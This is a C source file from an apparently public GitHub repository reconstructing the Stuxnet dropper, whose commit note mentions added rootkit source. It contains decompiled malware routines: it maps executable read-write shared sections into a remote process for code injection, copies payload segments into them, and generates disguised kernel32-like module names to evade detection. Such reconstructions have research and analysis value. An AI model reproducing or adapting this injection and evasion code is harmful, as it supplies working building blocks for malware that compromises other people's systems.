Files
stuxnet/Dropper/Utils.c
Michael R. Torres d374a08824 Massive restructure
A lot of changes, some small some large.
Most notably, add in the rootkit source, courtesy of @Christian-Roggia

Closes https://github.com/micrictor/stuxnet/issues/1
2016-09-19 18:15:13 -07:00

83 lines
3.3 KiB
C

/******************************************************************************************
Copyright 2012-2013 Christian Roggia
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
******************************************************************************************/
// MODIFIED BY mic.ric.tor
#include "Utils.h"
// 100% (C) CODE MATCH
INT32 SharedMapViewOfSection(HANDLE hHandle, SIZE_T iSectionSize, PHANDLE pSectionHandle, PVOID *pBaseAddr1, PVOID *pBaseAddr2)
{
SIZE_T iViewSize; // [sp+0h] [bp-10h]@1
NTSTATUS iStatus; // [sp+4h] [bp-Ch]@3
LARGE_INTEGER liMaximumSize; // [sp+8h] [bp-8h]@1
iViewSize = iSectionSize;
liMaximumSize.LowPart = iSectionSize;
liMaximumSize.HighPart = 0;
if(STATUS_SUCCESS != g_hardAddrs.ZwCreateSection(pSectionHandle, SECTION_ALL_ACCESS, 0, &liMaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0))// (..., 0xF001F, 0, ..., 64, 0x8000000, 0)
return -5;
iStatus = g_hardAddrs.ZwMapViewOfSection(*pSectionHandle, GetCurrentProcess(), pBaseAddr1, 0, 0, 0, &iViewSize, ViewShare, 0, PAGE_EXECUTE_READWRITE);// (..., ..., ..., 0, 0, 0, ..., 1, 0, 64)
if(iStatus != STATUS_SUCCESS) return -5;
iStatus = g_hardAddrs.ZwMapViewOfSection(*pSectionHandle, hHandle , pBaseAddr2, 0, 0, 0, &iViewSize, ViewShare, 0, PAGE_EXECUTE_READWRITE);// (..., ..., ..., 0, 0, 0, ..., 1, 0, 64)
if(iStatus != STATUS_SUCCESS) return -5;
return 0;
}
// 99% (C) CODE MATCH
void CopySegmentIntoSections(PVOID *pSharedSection1, PVOID pSharedSection2, INT32 *pSectionPointer, PSECTION_SEGEMENT_INFO sSegment, PVOID pSegmentContent, UINT32 iSegmentSize)
{
if(iSegmentSize) __memcpy(*pSharedSection1, pSegmentContent, iSegmentSize);
sSegment->SegmentAddress = (DWORD)pSharedSection2 + *pSectionPointer;
sSegment->SegmentSize = iSegmentSize;
*pSharedSection1 = pSharedSection1 + iSegmentSize;
*pSectionPointer += iSegmentSize;
}
// 100% (C) CODE MATCH
INT32 GetRandomModuleName(GENERAL_INFO_BLOCK *sInfoBlock, LPCWSTR szDebugLibraryName)
{
WCHAR __KERNEL32_DLL_ASLR_08x[42]; // [sp+8h] [bp-58h]@5
DWORD dwRandom; // [sp+5Ch] [bp-4h]@5
if(szDebugLibraryName)
{
if(lstrlenW(szDebugLibraryName) >= 31) return -1;
lstrcpyW(sInfoBlock->RandomLibraryName, szDebugLibraryName);
}
else
{
dwRandom = GetTickCount() + 3 * GetCurrentThreadId();
DecodeModuleNameW((WCHAR *)ENCODED_KERNEL32_DLL_ASLR__08x, __KERNEL32_DLL_ASLR_08x);
do
wsprintfW(sInfoBlock->RandomLibraryName, __KERNEL32_DLL_ASLR_08x, dwRandom++);
while(GetModuleHandleW(sInfoBlock->RandomLibraryName));
// Defeat ASLR by checking every single address.
}
sInfoBlock->OriginalAddress = XADDR_KEY ^ (UINT32)sInfoBlock;
sInfoBlock->UnknownZero0 = 0;
sInfoBlock->AlignAddressesFunction = (DWORD)BLOCK4_AlignAddresses;
return 0;
}